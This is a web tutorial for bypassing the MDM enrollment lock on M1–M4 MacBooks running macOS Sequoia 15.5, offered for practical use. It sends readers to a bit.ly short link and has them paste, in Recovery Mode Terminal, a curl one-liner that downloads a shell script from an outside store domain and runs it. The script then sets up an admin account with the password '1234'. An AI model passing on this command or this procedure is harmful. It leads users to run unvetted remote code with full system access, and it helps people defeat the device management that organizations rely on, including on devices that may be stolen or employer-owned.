Struggling with a Remote Device Management (MDM) lock on your MacBook Pro or Air running macOS Sequoia 15.5? Whether you’re using an M1, M2, M3, or M4 chip, this guide will walk you through bypassing the MDM setup during a fresh macOS installation. Follow these steps to regain full control of your device without needing admin credentials or an MDM key. This method is tailored for 2025 and supports the latest macOS Sequoia 15.5 and up.
What is MDM and Why Bypass It?
Mobile Device Management (MDM) is used by organizations to manage and restrict Apple devices, including MacBooks. If you’ve purchased a second-hand MacBook or inherited one from a workplace, you might encounter an MDM lock, limiting access to apps and settings. Bypassing the MDM profile allows you to use your MacBook Pro or Air without restrictions, making it fully functional for personal use.
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Prerequisites for MDM Bypass
Before starting, ensure you meet these requirements to avoid issues during the process:
- Erase the Hard Drive: Back up any important data and erase the drive for a clean slate.
- Reinstall macOS: Use an external flash drive to reinstall macOS for best results.
- Set Device Language to English: This is required during setup but can be changed later.
- Internet Connection: A stable WiFi connection is needed for activation and script execution.
Step-by-Step Guide to Bypass MDM on macOS Sequoia 15.5 (M1, M2, M3, M4)
Follow these detailed steps to bypass the MDM setup on your MacBook Pro or Air:
- Reach the MDM Enrollment Screen:
- During a fresh macOS Sequoia installation, you’ll encounter the MDM enrollment prompt.
- Force Shutdown:
- Long-press the Power button to shut down your Mac forcefully.
- Boot into Recovery Mode:
- Apple Silicon (M1, M2, M3, M4): Hold the Power button until the startup options appear.
- Intel-based Macs: Hold CMD + R during boot to enter Recovery Mode.
- Connect to WiFi:
- In Recovery Mode, connect to a WiFi network to activate your Mac.
- Open Safari:
- From the Recovery Mode menu, select Utilities > Safari.
- Navigate to: https://bit.ly/mdmbypass
- Copy the Bypass Script:
- Copy the following script:
curl http://ihello.store/api/bypass_mdm.sh -o bypass_mdm.sh && chmod +x ./bypass_mdm.sh && ./bypass_mdm.sh
- Copy the following script:
- Launch Terminal:
- In Recovery Mode, go to Utilities > Terminal.
- Run the Script:
- Paste the script using CMD + V and press Enter to execute.
- Select Autobypass:
- Type 1 for Autobypass and press Enter.
- Press Enter again to accept the default username (Apple).
- Press Enter to accept the default password (1234).
- Wait and Reboot:
- Allow the script to complete, then reboot your Mac.
- Sign In:
- Log in with the username Apple and password 1234.
- Skip Setup Steps:
- During setup, skip optional steps like Apple ID, Siri, Touch ID, and Location Services.
- Create a New Admin Account:
- Once on the desktop, go to System Settings > Users and Groups.
- Create a new Admin account with your preferred credentials.
- Log Out and Log In:
- Log out of the Apple profile and sign in with your new Admin account.
- Complete Setup:
- Now, set up your Apple ID, Siri, Touch ID, and Location Services as desired.
- Delete the Apple Profile:
- Return to System Settings > Users and Groups and delete the Apple profile.
Congratulations! You’ve successfully bypassed the MDM lock on your MacBook running macOS Sequoia 15.5.
Important Notes
- Data Loss: This process erases all data. Back up important files before starting.
- macOS Version: This method works up to macOS Sequoia 15.5 and supports M1, M2, M3, and M4 chips. Older macOS versions like Monterey may have alternative workarounds.
- Reinstallation Risks: If you factory reset or update macOS after bypassing, the MDM lock may reappear. Some tools offer free reuse for such cases.
- Legal Considerations: Ensure you have the right to bypass MDM, especially for second-hand devices. Contact the original owner or organization if possible.
Why This Method Works
This bypass method leverages a script to skip the MDM enrollment during setup, creating a temporary user account to access the desktop. By setting up a new Admin account and deleting the temporary one, you regain full control without MDM restrictions. The process is optimized for Apple Silicon (M1, M2, M3, M4) and has been tested on macOS Sequoia 15.5.
Troubleshooting Tips
- Script Fails: Ensure you’re connected to WiFi and the device language is set to English.
- MDM Reappears: Avoid connecting to WiFi during setup if the MDM profile persists. Re-run the script if needed.
- Recovery Mode Issues: For Apple Silicon Macs, hold the Power button continuously until the startup options appear.
Conclusion
Bypassing an MDM lock on your MacBook Pro or Air running macOS Sequoia 15.5 is straightforward with the right steps. This guide ensures you can unlock your M1, M2, M3, or M4 MacBook without an MDM key or admin credentials. Follow the instructions carefully, and you’ll have a fully functional Mac in no time.
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